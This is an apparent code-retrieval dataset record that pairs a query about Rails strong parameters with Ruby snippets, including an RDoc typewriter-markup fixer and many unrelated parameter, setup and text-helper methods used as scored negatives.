action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def setup_handler\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def workflow\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def setup\n # override and do something appropriate\n end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def action\n end", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def before_action \n end", "def action\n end", "def setup\n # override this if needed\n end", "def matt_custom_action_begin(label); end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def lookup_action; end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def around_hooks; end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def save_action; end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def action_target()\n \n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def setup(&blk)\n @setup_block = blk\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def callback_phase\n super\n end", "def advice\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def _handle_action_missing(*args); end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def call\n setup_context\n super\n end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end" ]
[ "0.6163443", "0.604317", "0.5943409", "0.59143174", "0.5887026", "0.58335453", "0.57738566", "0.5701527", "0.5701527", "0.56534666", "0.5618685", "0.54237175", "0.5407991", "0.5407991", "0.5407991", "0.5394463", "0.5376582", "0.5355932", "0.53376216", "0.5337122", "0.5329516", "0.5311442", "0.52963835", "0.52955836", "0.5295297", "0.5258503", "0.52442217", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5235414", "0.5234908", "0.5230927", "0.52263695", "0.5222485", "0.5216462", "0.52128595", "0.52070963", "0.520529", "0.517586", "0.5174021", "0.5172379", "0.5165636", "0.5161574", "0.51556087", "0.5153217", "0.5152898", "0.5151238", "0.5144674", "0.51387095", "0.51342636", "0.5113545", "0.51131564", "0.51131564", "0.5107665", "0.5107052", "0.50908124", "0.5089785", "0.50814754", "0.50807786", "0.5064482", "0.5053022", "0.50526255", "0.5050246", "0.5050246", "0.50329554", "0.5023997", "0.5021236", "0.5014815", "0.5014393", "0.4999298", "0.49990913", "0.4997733", "0.49884573", "0.49884573", "0.49840933", "0.49786162", "0.49784446", "0.49782816", "0.49659815", "0.49655175", "0.4956222", "0.49543875", "0.49536037", "0.495265", "0.4951427", "0.49438462", "0.49436793", "0.49335384", "0.49321616", "0.49264926", "0.49247074", "0.49246994", "0.49226475", "0.49194494", "0.49152806", "0.49149707", "0.49149227", "0.49144953", "0.49141943" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def outside_params params.fetch(:outside, {}) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Fixes RDoc behaviour with ++ only supporting alphanumeric text.
def fix_typewriter(text) code_tags = 0 text.gsub(%r{<(/)?(pre|code|tt)|(\s|^|>)\+(?! )([^\n\+]{1,900})(?! )\+}) do |str| closed = $1 tag = $2 first_text = $3 type_text = $4 if tag code_tags += (closed ? -1 : 1) next str end next str unless code_tags == 0 first_text + '<tt>' + type_text + '</tt>' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clean_text\n text.tr(\"'@_\", '').gsub(/\\W/, ' ').gsub(/[0-9]/, '').downcase\n end", "def prog_alphanum_description\n if description !~ /[[:alnum:]]/\n errors.add(:description, \"can only contain letters or numbers\")\n end\n end", "def remove_private\n # Workaround for gsub encoding for Ruby 1.9.2 and earlier\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, @text.encoding\n\n @text = @text.gsub(%r%^\\s*([#*]?)--.*?^\\s*(\\1)\\+\\+\\n?%m, empty)\n @text = @text.sub(%r%^\\s*[#*]?--.*%m, '')\n end", "def underscore(text)\n text.gsub(/[a-z0-9][A-Z]/) do |match|\n match[0,1] + '_' + match[1,1].downcase\n end\n end", "def prog_alphanum_title\n if name !~ /[[:alnum:]]/\n errors.add(:name, \"can only contain letters or numbers\")\n end\n end", "def test_shortcut_character_classes_are_negated_with_capitals\n assert_equal \"the number is \", \"the number is 42\"[/\\D+/]\n assert_equal \"space:\", \"space: \\t\\n\"[/\\S+/]\n assert_equal \" = \", \"variable_1 = 42\"[/\\W+/]\n end", "def fix_dash_dash(text); end", "def tobealphanum(obj)\n\t\tobj.to_s.gsub(/\\W/,'')\n\tend", "def test_shortcut_character_classes_are_negated_with_capitals\n assert_equal 'the number is ', \"the number is 42\"[/\\D+/]\n assert_equal 'space:', \"space: \\t\\n\"[/\\S+/]\n # ... a programmer would most likely do\n assert_equal ' = ', \"variable_1 = 42\"[/[^a-zA-Z0-9_]+/]\n assert_equal ' = ', \"variable_1 = 42\"[/\\W+/]\n end", "def consume_unicode_range; end", "def alphanumeric_words\n /([a-zA-Z0-9]*\\w)/\n end", "def key_replace\n /[^a-z0-9?]+/\n end", "def delete_illegal_chars\n self.title.delete!(\"~\")\n end", "def test_6_accepts_includes_non_alphanumeric\n result = is_alphanumeric?(\"1Abjils&\")\n assert(result, \"1ABjils& has non alphanumeric, should be valid\")\n end", "def select_odd_chars(text)\n text.gsub(/(?!&)([[:punct:]])\\u200c/, \"\\\\1\")\n end", "def only_characters_and_numbers\n self.tr('^A-Za-z0-9', '')\n end", "def transform_control_title (title)\n title.gsub(/^\\(L1\\) /, '').gsub(/[()',.&:]/, '').gsub(/.scr/, '').gsub(/\\s+/, '_').gsub(/[\\\\%-]/, '_').gsub(/_+/,'_').downcase\nend", "def test_remove_non_letter_character_from_id\nresult = remove_punctuation(\"sh&awn\")\nassert_equal(\"shawn\", result)\nend", "def lex_en_character=(_arg0); end", "def test_illegal_char\n\t\tassert_equal(\"877195GILL869x\", glosub(\"877195G IL--L869x\"))\n\tend", "def id_safe(text)\n\t\ttext.gsub(/[ .?!]/, ' ' => '-', '.' => '', '?' => '', '!' => '').gsub(/-{2,}/, '-').downcase.to_s\n\tend", "def reduce_no_word(_production, _range, _tokens, _children)\n Regex::Anchor.new('\\B')\n end", "def strip_non_word_characters!\n @raw.gsub!(/[^\\w\\ \\-.,]/, ' ')\n end", "def sanitize_alpha(input_word)\n input_word.chars.each do |c|\n input_word.delete!(c) unless $alpha.include?(c)\n end\n return input_word\nend", "def processed_content\n letters_and_digits.downcase\n end", "def handle_special_characters(text)\n\n if text.include?(\"'\") then\n text.gsub!(\"'\",\"_\")\n end\n if text.include?(\"\\\\\") then\n text.gsub!(\"\\\\\",\"_\")\n end\n\n text\n end", "def reduce_no_character(_production, _range, _tokens, _children)\n char_shorthand('W')\n end", "def missing_letters(string)\nend", "def alphanumeric(*fields)\n sanitize(*fields) { |value| value.gsub(/[^A-Za-z0-9\\s]/, '') }\n end", "def clean_text(datacontent)\n return datacontent.gsub(/[^a-z0-9]/i, \"\").downcase\nend", "def expand_ctrl_chars(str)\n str = str.gsub(/^.*?\\r/, '')\n str.gsub!(/(\\A#{\"\\b\"}|.#{\"\\b\"}|#{\"\\a\"}|#{\"\\0\"})/m, '')\n str.gsub!(/(^.*?)\\f/) { \"#{$1}\\n#{' ' * $1.length}\" }\n str\n end", "def allow_short_words\n not @emphasis[:ignore_short_words]\n end", "def alphanunder\n _str = self\n _alphanum_str = _str.gsub(/[^A-Za-z0-9_\\-\\.@ \\/]/,\"\")\n _under_str = _alphanum_str.gsub(/[ \\/\\.\\-@]/,\"_\")\n _under_str.downcase\n end", "def end_word_pattern; end", "def _(text)\n text\n end", "def missing_alphas(sentence)\n puts sentence\nend", "def rand_text_alphanumeric(length, bad=payload_badchars)\n if debugging?\n rand_text_debug(length)\n else\n Rex::Text.rand_text_alphanumeric(length, bad)\n end\n end", "def hot_fixes(text)\n text\n end", "def crunch(text)\n text.gsub(/(.)\\1+/, &:chr)\nend", "def unicode_esc!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n\n \n # - - - - main rule block - - - -\n # at line 309:9: '\\\\\\\\' 'u' HEX_DIGIT HEX_DIGIT HEX_DIGIT HEX_DIGIT\n match( 0x5c )\n match( 0x75 )\n hex_digit!\n hex_digit!\n hex_digit!\n hex_digit!\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end", "def scaffold_fix_template(text)\n text.gsub('-%>', '%>')\n end", "def process_text(text)\n regexp = /(?:\\s|^|>)(?<word>(\\w{0,3}|[-–—]|\\&ndash\\;|\\&mdash\\;|aboard|about|above|across|after|against|along|amid|among|anti|around|before|behind|below|beneath|beside|besides|between|beyond|concerning|considering|despite|down|during|except|excepting|excluding|following|from|inside|into|like|minus|near|onto|opposite|outside|over|past|plus|regarding|round|save|since|than|that|this|through|toward|towards|under|underneath|unlike|until|upon|versus|with|within|without)(?<space>\\s))/i\n text.gsub(regexp).each { |m| \"#{m[0..-2]}&nbsp;\" }\n end", "def escape_special_characters(word)\n LUCENE_SPECIAL_CHARS.each do |c|\n word.gsub!(c, \"\\\\#{c}\")\n end\n\n # need to use a block since doing gsub without a block with a '+' doesn't work\n word.gsub!('+') {|m| '\\+'}\n end", "def heggeleggleggo(word)\n pp word.gsub /[^ aeiou]/i, '\\0egg'\nend", "def test_gsub\n assert_equal 'éxa', 'éda'.chars.gsub(/d/, 'x')\n with_kcode('none') do\n assert_equal 'éxa', 'éda'.chars.gsub(/d/, 'x')\n end\n end", "def strike text\n if text =~ /\\A[a-z\\d.\\/-]+\\z/i then\n \"~#{text}~\"\n else\n \"<s>#{text}</s>\"\n end\n end", "def wikify(word)\n begin\n word = word.gsub(/^[a-z]|\\s+[a-z]/) { |a| a.upcase }\n word = word.gsub(/\\s/, '')\n word.underscore\n rescue => e\n puts e.inspect\n puts e.backtrace\n end\n end", "def processed_content\n # Ignores anything that is not a letter or number\n to_s.scan(/[a-z\\d]/i).join.downcase\n end", "def cleanup(text)\n text.gsub(/[^a-z]/i, '')\nend", "def anchor_for(text)\n text.gsub(/[^[:word:]]/, '_').squeeze('_')\n end", "def underscorize!\n self.replace(self.scan(/[A-Z][a-z]*/).join(\"_\").downcase)\n end", "def reduce_word(_production, _range, _tokens, _children)\n Regex::Anchor.new('\\b')\n end", "def alnum?(str)\n\t\t\tstr.match /^[[:alnum:]]$/\n\t\tend", "def remove_letter_a(words)\nend", "def test_7_rejects_only_alphnumeric\n result = is_alphanumeric?(\"1Abjilsa2\")\n refute(result, \"1Abjilsa2 has no alphanumeric, should be valid\")\n end", "def processed_content\n scan(/[a-z]/i).join.downcase\n\n # self.letters.downcase\n end", "def repair(text); end", "def processed_content\n self.letters.downcase\nend", "def +@\n text.upcase\n end", "def html_friendly\n\t\tself.to_s.downcase.gsub(/\\W/,'_').gsub(/_+/,'_')\n\tend", "def paragraph_by_chars(number: T.unsafe(nil), supplemental: 